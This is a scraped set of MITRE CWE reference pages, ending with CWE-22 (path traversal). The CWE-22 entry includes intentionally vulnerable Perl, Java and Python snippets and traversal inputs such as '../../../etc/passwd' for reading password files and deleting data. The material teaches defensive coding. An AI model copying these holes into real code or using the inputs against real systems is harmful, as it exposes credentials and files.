MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar. However, sometimes this weakness is forced to be used due to the lack of in-depth weakness research. See Research Gaps.

Comments:

Where feasible, consider children or descendants of this entry instead.
+ Notes

Relationship

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInteraction Errors
+ References
[REF-428] Thomas H. Ptacek and Timothy N. Newsham. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection". 1998-01. <https://insecure.org/stf/secnet_ids/secnet_ids.pdf>. URL validated: 2023-04-07.
[REF-568] Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995-08-01. <https://csrc.nist.gov/csrc/media/publications/conference-paper/1996/10/22/proceedings-of-the-19th-nissc-1996/documents/paper057/paper.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Name, Relationships
2018-03-27CWE Content TeamMITRE
updated Alternate_Terms, Description, Name, References, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Type
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Research_Gaps
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Interaction Errors
2017-11-08Interaction Error
2018-03-27Improper Interaction Between Multiple Entities

CWE-653: Improper Isolation or Compartmentalization

Weakness ID: 653
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.
+ Extended Description
When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.
+ Alternate Terms
Separation of Privilege:
Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1189Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1331Improper Isolation of Shared Resources in Network On Chip (NoC)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1212Authorization Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.
+ Demonstrative Examples

Example 1

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

+ Observed Examples
ReferenceDescription
Improper isolation of shared resource in a network-on-chip leads to denial of service
Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138].
+ Potential Mitigations

Phase: Architecture and Design

Break up privileges between different modules, objects, or entities. Minimize the interfaces between modules and require strong access control between them.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Compare binary / bytecode to application permission manifest

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each "privilege"; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-535] Sean Barnum and Michael Gegick. "Separation of Privilege". 2005-12-06. <https://web.archive.org/web/20220126060047/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege>. URL validated: 2023-04-07.
[REF-1138] Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. <https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-18
(CWE Draft 8, 2008-01-30)
Pascal MeunierPurdue University
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Description, Relationships, Other_Notes, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Name
2010-12-13CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes, Terminology_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Description, Name, Observed_Examples, References, Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Type
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Insufficient Compartmentalization
2021-10-28Insufficient Compartmentalization

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
+ Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

+ Alternate Terms
Directory traversal
Path traversal:
"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.706Use of Incorrectly-Resolved Name or Reference
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(attack code)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Example 6

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended.

+ Observed Examples
ReferenceDescription
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"
Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
Newsletter module allows reading arbitrary files using "../" sequences.
Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22)
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

